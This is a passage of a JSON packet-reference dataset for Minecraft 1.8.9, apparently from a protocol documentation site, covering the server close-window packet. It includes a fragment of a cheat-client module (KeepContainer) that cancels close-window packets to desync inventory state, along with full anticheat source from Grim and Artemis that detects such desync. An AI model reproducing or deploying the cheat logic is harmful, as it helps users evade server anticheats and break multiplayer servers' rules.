event.getPacket();\n\n            if(container != null && container.inventorySlots != null && packetCloseWindow.windowId == container.inventorySlots.windowId)\n                container = null;\n        }\n    }\n}\n// NOTE (AI): The S2E branch is defensive bookkeeping: it keeps the cached GuiContainer from outliving the server's close. The C0D cancel is the actual exploit surface, and the disable path flushes the suppressed close.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/KeepContainer.java",
      "vanilla_hook": "LiquidBounce PacketEvent, ScreenEvent and KeyEvent.",
      "anti_cheat_notes": "Cancelling C0D while a window is open desyncs the client from the server's container state, the same flag surface NoGuiClose creates; the S2E listener bounds the desync by dropping the cached container as soon as the server closes it.",
      "variations": "Rise's NoGuiClose keeps the live GUI open and never re-opens a closed container; KeepContainer instead re-opens a snapshot of a container the server believes is closed. The S2E handling is bookkeeping rather than a cancel."
     }
    ],
    "general_hooks": "Two patterns: Rise cancels S2E on the packet receive path, optionally gated by chat-screen state; LiquidSense Dev's KeepContainer reads S2E to clear its cached container and cancels C0D close packets instead.",
    "client_variations": "Rise 5.99 uses the Module.onPacketReceive override and BooleanSetting; Rise 6.x uses EventLink Listener fields and BooleanValue. Both default the Chat Only gate differently (true vs false). Memeware, Nekoware, Sigma, Spicy, Tenacity and November Recode 2.0 reference S2E only in vanilla sources.",
    "related": [
     "S2DPacketOpenWindow",
     "S2FPacketSetSlot",
     "S30PacketWindowItems"
    ],
    "anticheat": {
     "overview": "The server-close packet is consumed on the send side to reset simulated window state. Grim's CompensatedInventory closes the emulated inventory transaction-ordered after the S2E, and Artemis transaction-confirms the close to clear its inventory-open flag. Both anticheats do this so that later C0E clicks against the closed window are recognized as invalid. Intave and the classic repos only handle the client-side close (C0D) and are therefore not part of this packet's story.",
     "checks": [
      {
       "name": "CompensatedInventory close handling (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reset the emulated open window when the server closes it, so clicks against a closed window are flagged.",
       "how_it_works": "A send-side handler matches PacketType.Play.Server.CLOSE_WINDOW and schedules closeActiveInventory as a real-time task ordered after the last transaction; the reset restores isPacketInventoryActive, sets openWindowID back to 0, swaps the menu back to the player inventory and clears the carried item. Clicks that follow with the old window id no longer match openWindowID.",
       "detects": "Chest-stealer and inventory desync where the client keeps clicking a window the server has closed.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.inventory.EquipmentType;\nimport ac.grim.grimac.utils.inventory.Inventory;\nimport ac.grim.grimac.utils.inventory.inventory.AbstractContainerMenu;\nimport ac.grim.grimac.utils.inventory.inventory.MenuType;\nimport ac.grim.grimac.utils.inventory.inventory.NotImplementedMenu;\nimport ac.grim.grimac.utils.lists.CorrectingPlayerInventoryStorage;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientCreativeInventoryAction;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenHorseWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPlayerInventory;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport lombok.Getter;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n// Updated to support modern 1.17 protocol\npublic class CompensatedInventory extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final int PLAYER_INVENTORY_CASE = -1;\n    private static final int UNSUPPORTED_INVENTORY_CASE = -2;\n    // \"Temporarily\" public for debugging\n    public final Inventory inventory;\n    // \"Temporarily\" public for debugging\n    public AbstractContainerMenu menu;\n    // Not all inventories are supported due to complexity and version differences\n    public boolean isPacketInventoryActive = true;\n    public boolean needResend = false;\n    public int stateID = 0; // Don't mess up the last sent state ID by changing it\n    private int openWindowID = 0;\n    // Special values:\n    // Player inventory is -1\n    // Unsupported inventory is -2\n    private int packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n    // The item held at the start of the current client tick (processed at the end of the previous tick)\n    // also updated before slot changes to account for the delay when using hotbar keybinds\n    // Currently only used by 1.21.11+ players to handle attribute swapping items with the ATTACK_RANGE Component\n    @Getter\n    private ItemStack startOfTickStack = ItemStack.EMPTY;\n\n    public CompensatedInventory(GrimPlayer playerData) {\n        super(playerData);\n\n        CorrectingPlayerInventoryStorage storage = new CorrectingPlayerInventoryStorage(player, 46);\n        inventory = new Inventory(playerData, storage);\n\n        menu = inventory;\n    }\n\n    // Meant for 1.17+ clients who send changed slots, making the server not send the entire inventory\n    private void markPlayerSlotAsChanged(int clicked) {\n        // Player inventory\n        if (openWindowID == 0) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(clicked);\n            return;\n        }\n\n        // We don't know size of the inventory, so we can't do anything\n        // We will resync later.\n        if (menu instanceof NotImplementedMenu) return;\n\n        // 9-45 are the player inventory slots that are used\n        // There are 36 player slots in each menu that we care about and track.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n        // Bypass player inventory\n        inventory.getInventoryStorage().handleClientClaimedSlotSet(playerInvSlotclicked);\n    }\n\n    public ItemStack getItemInHand(InteractionHand hand) {\n        return hand == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n    }\n\n    /**\n     * Marks that the server has updated a slot by the specified ID in the specified inventory ID.\n     * @param clicked the updated slot\n     * @param windowID the inventory ID\n     */\n    private void markServerForChangingSlot(int clicked, int windowID) {\n        // Unsupported inventory\n        if (packetSendingInventorySize == UNSUPPORTED_INVENTORY_CASE) return;\n        // Player inventory\n        if (packetSendingInventorySize == PLAYER_INVENTORY_CASE || windowID == 0) {\n            // Result slot isn't included in storage, we must ignore it\n            inventory.getInventoryStorage().handleServerCorrectSlot(clicked);\n            return;\n        }\n        // See note in above method.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n\n        inventory.getInventoryStorage().handleServerCorrectSlot(playerInvSlotclicked);\n    }\n\n    public ItemStack getHeldItem() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHeldItem() :\n                player.platformPlayer.getInventory().getItemInHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getOffHand() {\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n            return ItemStack.EMPTY;\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getOffhand() :\n                player.platformPlayer.getInventory().getItemInOffHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getHelmet() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHelmet() :\n                player.platformPlayer.getInventory().getHelmet();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getChestplate() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getChestplate() :\n                player.platformPlayer.getInventory().getChestplate();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getLeggings() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getLeggings() :\n                player.platformPlayer.getInventory().getLeggings();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getBoots() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getBoots() :\n                player.platformPlayer.getInventory().getBoots();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    private ItemStack getByEquipmentType(EquipmentType type) {\n        return switch (type) {\n            case HEAD -> getHelmet();\n            case CHEST -> getChestplate();\n            case LEGS -> getLeggings();\n            case FEET -> getBoots();\n            case OFFHAND -> getOffHand();\n            case MAINHAND -> getHeldItem();\n        };\n    }\n\n    public boolean hasItemType(ItemType type) {\n        if (isPacketInventoryActive || player.platformPlayer == null)\n            return inventory.hasItemType(type);\n\n        // Fall back to platform inventories\n        for (ItemStack itemStack : player.platformPlayer.getInventory().getContents()) {\n            if (itemStack != null && itemStack.getType() == type) return true;\n        }\n        return false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            WrapperPlayClientUseItem item = new WrapperPlayClientUseItem(event);\n\n            ItemStack use = item.getHand() == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n\n            EquipmentType equipmentType = EquipmentType.getEquipmentSlotForItem(use);\n            if (equipmentType != null) {\n                int slot;\n                switch (equipmentType) {\n                    case HEAD -> slot = Inventory.SLOT_HELMET;\n                    case CHEST -> slot = Inventory.SLOT_CHESTPLATE;\n                    case LEGS -> slot = Inventory.SLOT_LEGGINGS;\n                    case FEET -> slot = Inventory.SLOT_BOOTS;\n                    default -> {\n                        return; // Not armor, therefore we shouldn't run this code\n                    }\n                }\n\n                ItemStack currentEquippedItem = getByEquipmentType(equipmentType);\n                // Only 1.19.4+ clients support swapping with non-empty items\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4) && !currentEquippedItem.isEmpty())\n                    return;\n\n                // 1.19.4+ clients support swapping with non-empty items\n                int swapItemSlot = item.getHand() == InteractionHand.MAIN_HAND ? inventory.getSelected() + Inventory.HOTBAR_OFFSET : Inventory.SLOT_OFFHAND;\n\n                // Mojang implemented this stupidly, I rewrote their item swap code to make it somewhat cleaner.\n                // Slot in hotbar\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(swapItemSlot);\n                inventory.getInventoryStorage().setItem(swapItemSlot, currentEquippedItem);\n\n                // Equipment slot\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(slot);\n                inventory.getInventoryStorage().setItem(slot, use);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.PLAYER_DIGGING) {\n            WrapperPlayClientPlayerDigging dig = new WrapperPlayClientPlayerDigging(event);\n\n            // 1.8 clients don't predict dropping items\n            if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) return;\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM) {\n                ItemStack heldItem = getHeldItem();\n                if (heldItem != null) {\n                    heldItem.setAmount(heldItem.getAmount() - 1);\n                    if (heldItem.getAmount() <= 0) {\n                        heldItem = null;\n                    }\n                }\n                inventory.setHeldItem(heldItem);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM_STACK) {\n                inventory.setHeldItem(null);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.HELD_ITEM_CHANGE) {\n            final int slot = new WrapperPlayClientHeldItemChange(event).getSlot();\n\n            // Stop people from spamming the server with an out-of-bounds exception\n            if (slot > 8 || slot < 0) return;\n\n            // set this before we change the selected slot so we get the previous item held\n            this.startOfTickStack = getHeldItem();\n            inventory.setSelected(slot);\n        } else if (event.getPacketType() == PacketType.Play.Client.CREATIVE_INVENTORY_ACTION) {\n            WrapperPlayClientCreativeInventoryAction action = new WrapperPlayClientCreativeInventoryAction(event);\n            if (player.gamemode != GameMode.CREATIVE) return;\n\n            boolean valid = action.getSlot() >= 1 &&\n                    (PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_8) ?\n                            action.getSlot() <= 45 : action.getSlot() < 45);\n\n            if (valid) {\n                inventory.getSlot(action.getSlot()).set(action.getItemStack());\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(action.getSlot());\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLICK_WINDOW && !event.isCancelled()) {\n            WrapperPlayClientClickWindow click = new WrapperPlayClientClickWindow(event);\n\n            // How is this possible? Maybe transaction splitting.\n            if (click.getWindowId() != openWindowID) {\n                return;\n            }\n\n            // Don't care about this click since we can't track it.\n            if (menu instanceof NotImplementedMenu) {\n                return;\n            }\n\n            // Mark the slots the player has changed as changed, then continue simulating what they changed\n            Optional<Map<Integer, ItemStack>> slots = click.getSlots();\n            slots.ifPresent(integerItemStackMap -> integerItemStackMap.keySet().forEach(this::markPlayerSlotAsChanged));\n\n            // 0 for left click\n            // 1 for right click\n            int button = click.getButton();\n            // Offset by the number of slots in the inventory actively open\n            // Is -999 when clicking off the screen\n            int slot = click.getSlot();\n            // Self-explanatory, look at the enum's values\n            WrapperPlayClientClickWindow.WindowClickType clickType = click.getWindowClickType();\n\n            if (slot == -1 || slot == -999 || slot < menu.getSlots().size()) {\n                menu.doClick(button, slot, clickType);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLOSE_WINDOW) {\n            this.closeActiveInventory();\n        } else if (isTickPacket(event.getPacketType())) {\n            this.startOfTickStack = getHeldItem();\n        }\n    }\n\n    public void markSlotAsResyncing(BlockPlace place) {\n        // Update held item tracking\n        if (place.hand == InteractionHand.MAIN_HAND) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n        } else {\n            inventory.getInventoryStorage().handleServerCorrectSlot(Inventory.SLOT_OFFHAND);\n        }\n    }\n\n    public void onBlockPlace(BlockPlace place) {\n        if (player.gamemode != GameMode.CREATIVE && place.itemStack.getType() != ItemTypes.POWDER_SNOW_BUCKET) {\n            markSlotAsResyncing(place);\n            place.itemStack.setAmount(place.itemStack.getAmount() - 1);\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        // Not 1:1 MCP, based on Wiki.VG to be simpler as we need less logic...\n        // For example, we don't need permanent storage, only storing data until the client closes the window\n        // We also don't need a lot of server-sided only logic\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            WrapperPlayServerOpenWindow open = new WrapperPlayServerOpenWindow(event);\n\n            MenuType menuType = MenuType.getMenuType(open.getType());\n\n            AbstractContainerMenu newMenu;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_14)) {\n                newMenu = MenuType.getMenuFromID(player, inventory, menuType);\n            } else {\n                newMenu = MenuType.getMenuFromString(player, inventory, open.getLegacyType(), open.getLegacySlots(), open.getHorseId());\n            }\n\n            packetSendingInventorySize = newMenu instanceof NotImplementedMenu ? UNSUPPORTED_INVENTORY_CASE : newMenu.getSlots().size();\n\n            // There doesn't seem to be a check against using 0 as the window ID - let's consider that an invalid packet\n            // It will probably mess up a TON of logic both client and server sided, so don't do that!\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                openWindowID = open.getContainerId();\n                menu = newMenu;\n                isPacketInventoryActive = !(newMenu instanceof NotImplementedMenu);\n                needResend = newMenu instanceof NotImplementedMenu;\n            });\n        }\n\n        // I'm not implementing this lol\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            WrapperPlayServerOpenHorseWindow open = new WrapperPlayServerOpenHorseWindow(event);\n\n            packetSendingInventorySize = UNSUPPORTED_INVENTORY_CASE;\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                isPacketInventoryActive = false;\n                needResend = true;\n                openWindowID = open.getWindowId();\n            });\n        }\n\n        // 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.CLOSE_WINDOW) {\n            packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n            // Disregard provided window ID, client doesn't care...\n            // We need to do this because the client doesn't send a packet when closing the window\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), this::closeActiveInventory);\n        }\n\n        // Should be 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n            stateID = items.getStateId();\n\n            List<ItemStack> slots = items.getItems();\n            for (int i = 0; i < slots.size(); i++) {\n                markServerForChangingSlot(i, items.getWindowId());\n            }\n\n            final int cachedPacketInvSize = packetSendingInventorySize;\n            final AtomicBoolean updatedValue = new AtomicBoolean();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // Never true when the inventory is unsupported.\n                // Vanilla ALWAYS sends the entire inventory to resync, this is a valid thing to check\n                // 01/07/2025: Somehow, the server sends a window id 0 update when the player is not in their inventory?\n                // I guess just revert isPacketInventoryActive if the player has a NotImplementedMenu open?\n                // Regardless, the client does accept this packet and updates its inventory, so we must do the same.\n                boolean forceUpdate = slots.size() == cachedPacketInvSize || items.getWindowId() == 0;\n                if (!isPacketInventoryActive && forceUpdate) {\n                    isPacketInventoryActive = true;\n                    updatedValue.set(true);\n                }\n            });\n\n            if (items.getWindowId() == 0) { // Player inventory\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    for (int i = 0; i < slots.size(); i++) {\n                        inventory.getSlot(i).set(slots.get(i));\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    if (items.getWindowId() == openWindowID) {\n                        for (int i = 0; i < slots.size(); i++) {\n                            menu.getSlot(i).set(slots.get(i));\n                        }\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            }\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // The server sent a packet for the player's inventory when they had another inventory open - revert.\n                if (updatedValue.get() && !menu.equals(inventory)) {\n                    isPacketInventoryActive = false;\n                }\n            });\n        }\n\n        // This packet replaces SET_SLOT for player inventory for 1.21.2+\n        if (event.getPacketType() == PacketType.Play.Server.SET_PLAYER_INVENTORY) {\n            WrapperPlayServerSetPlayerInventory slot = new WrapperPlayServerSetPlayerInventory(event);\n            final int slotID = slot.getSlot();\n            final ItemStack item = slot.getStack();\n\n            inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                inventory.getSlot(slotID).set(item);\n            });\n        }\n\n        // Also 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            // Only edit hotbar (36 to 44) if window ID is 0\n            // Set cursor by putting -1 as window ID and as slot\n            // Window ID -2 means any slot can be used\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n            final int slotID = slot.getSlot();\n            final int inventoryID = slot.getWindowId();\n            final ItemStack item = slot.getItem();\n\n            if (inventoryID == -2) { // Direct inventory change\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else if (inventoryID == 0) { // Inventory change through window ID, no crafting result\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else {\n                markServerForChangingSlot(slotID, inventoryID);\n            }\n\n            stateID = slot.getStateId();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                if (inventoryID == -1) { // Carried item\n                    inventory.setCarried(item);\n                } else if (inventoryID == -2) { // Direct inventory change (only applied if valid slot)\n                    if (inventory.getInventoryStorage().getSize() > slotID && slotID >= 0) {\n                        inventory.getInventoryStorage().setItem(slotID, item);\n                    }\n                } else if (inventoryID == 0) { // Player inventory\n                    // This packet can only be used to edit the hotbar and offhand of the player's inventory if\n                    // window ID is set to 0 (slots 36 through 45) if the player is in creative, with their inventory open,\n                    // and not in their survival inventory tab. Otherwise, when window ID is 0, it can edit any slot in the player's inventory.\n                    if (slotID >= 0 && slotID <= 45) {\n                        inventory.getSlot(slotID).set(item);\n                    }\n                } else if (inventoryID == openWindowID) { // Opened inventory (if not valid, client crashes)\n                    menu.getSlot(slotID).set(item);\n                }\n            });\n        }\n    }\n\n    /**\n     * Closes the player's currently open inventory on the client by resetting to the player's inventory.\n     */\n    private void closeActiveInventory() {\n        isPacketInventoryActive = true;\n        openWindowID = 0;\n        menu = inventory;\n        menu.setCarried(ItemStack.EMPTY); // Reset carried item\n    }\n}\n// NOTE (AI): The server CLOSE_WINDOW branch (line 355) schedules closeActiveInventory, which resets openWindowID, menu and carried item. The same file carries the S2D open tracking, so the close completes the window state machine.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java",
       "variations": "None of Grim's other files reference the server close packet; BadPacketsP, CrashF and PacketOrderA act on the client-side C0E/C0D stream instead."
      },
      {
       "name": "WindowClose preprocessor (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Clear the inventory-open flag on the server close so downstream checks stop treating the player as windowed.",
       "how_it_works": "fastHandle matches GPacketPlayServerWindowClose and schedules a transaction-confirmed PacketAction whose pre() sets the inventory-open flag to false. The same handler resets the flag on respawn, and handle() clears it on the client's own C0D close.",
       "detects": "Window-state desync used by inventory-manipulation modules.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java =====\npackage ac.artemis.core.v4.processor.miscellaneous;\n\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.nms.NMSManager;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientClientCommand;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientWindowClose;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientHeldItemSlot;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientTransaction;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\n\n/**\n * @author Ghast\n * @since 06-Mar-20\n */\npublic class MiscellaneousPreProcessor extends AbstractHandler implements FastProcessHandler {\n\n    public MiscellaneousPreProcessor(PlayerData data) {\n        super(\"Misc [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        long now = System.currentTimeMillis();\n        if (packet instanceof GPacketPlayClientHeldItemSlot) {\n            data.user.usingItem = false;\n        }\n\n        else if (packet instanceof GPacketPlayClientClientCommand) {\n            final GPacketPlayClientClientCommand cmd = (GPacketPlayClientClientCommand) packet;\n            if (cmd.getCommand().equals(PlayerEnums.ClientCommand.PERFORM_RESPAWN)) {\n                data.user.setLastRespawn(packet.getTimestamp());\n                data.prediction.setVehicle(null);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientTransaction) {\n            final GPacketPlayClientTransaction trx = (GPacketPlayClientTransaction) packet;\n            if (!trx.isAccepted()) {\n                //data.user.setInventoryOpen(true);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientWindowClose) {\n            data.user.setInventoryOpen(false);\n        }\n\n\n\n        /*else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport tp = (GPacketPlayServerEntityTeleport) packet;\n\n            if (data.prediction.getVehicle() != null &&\n                    (tp.getEntityId() == data.getPlayer().getEntityId() || tp.getEntityId() == data.prediction.getVehicle().getEntityId())) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        /*else if (packet instanceof GPacketPlayServerPosition) {\n            if (data.prediction.getVehicle() != null) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        data.timing.miscTiming.addTime(now, System.currentTimeMillis());\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        if (packet instanceof GPacketPlayServerRespawn) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.user.setLastRespawn(packet.getTimestamp());\n                    data.user.setInventoryOpen(false);\n                    data.prediction.setVehicle(null);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerWindowClose) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.user.setInventoryOpen(false);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityAttach) {\n            final GPacketPlayServerEntityAttach attach = (GPacketPlayServerEntityAttach) packet;\n\n            if (attach.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(NMSManager.getInms().getEntity(data.getPlayer().getWorld(), attach.getVehicleId()));\n                        if (data.prediction.getVehicle() == null) {\n                            data.resetMotion();\n                        }\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityDestroy) {\n            final GPacketPlayServerEntityDestroy dtr = (GPacketPlayServerEntityDestroy) packet;\n\n            final boolean flag = data.prediction.getVehicle() != null\n                    && Arrays.stream(dtr.getEntities()).anyMatch(e -> data.prediction.getVehicle().getEntityId() == e);\n            if (flag) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerBed) {\n            final GPacketPlayServerBed bed = (GPacketPlayServerBed) packet;\n\n            if (bed.getPlayerID() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                        data.resetMotion();\n                    }\n                });\n            }\n        }\n    }\n}\n// NOTE (AI): The GPacketPlayServerWindowClose branch in fastHandle is the S2E hook; the close is applied on transaction confirmation. handle() covers the client's own C0D close.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java",
       "variations": "Kauri (funkemunky-KauriV3) PacketHandler wraps WrapperPlayServerCloseWindow and clears inventoryOpen on a keepalive action; Negativity lists CLOSE_WINDOW in both client and server PacketType sections."
      }
     ]
    }
   },
   "wiki_notes": [
    "The server sends this when a window is forcibly closed, for example when a chest is destroyed while open, and window ID 0 refers to the player inventory.",
    "MCP 1.8.9 S2EPacketCloseWindow implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleCloseWindow; wire serde is readPacketData/writePacketData via readUnsignedByte.",
    "1.8.9 callers: EntityPlayerMP.closeScreen sends new S2EPacketCloseWindow (line 902): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2EPacketCloseWindow/",
   "mcp_path": "net/minecraft/network/play/server/S2EPacketCloseWindow.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S2FPacketSetSlot",
   "hex": "0x2F",
   "dec": 47,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Set Slot",
   "desc": "Sets a single slot in an inventory window. Used for cursor updates, specific slot changes, and armor slot updates.",
   "tags": [
    "inventory",
    "item",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID (-1 = cursor, 0 = player inv)"
    },
    {
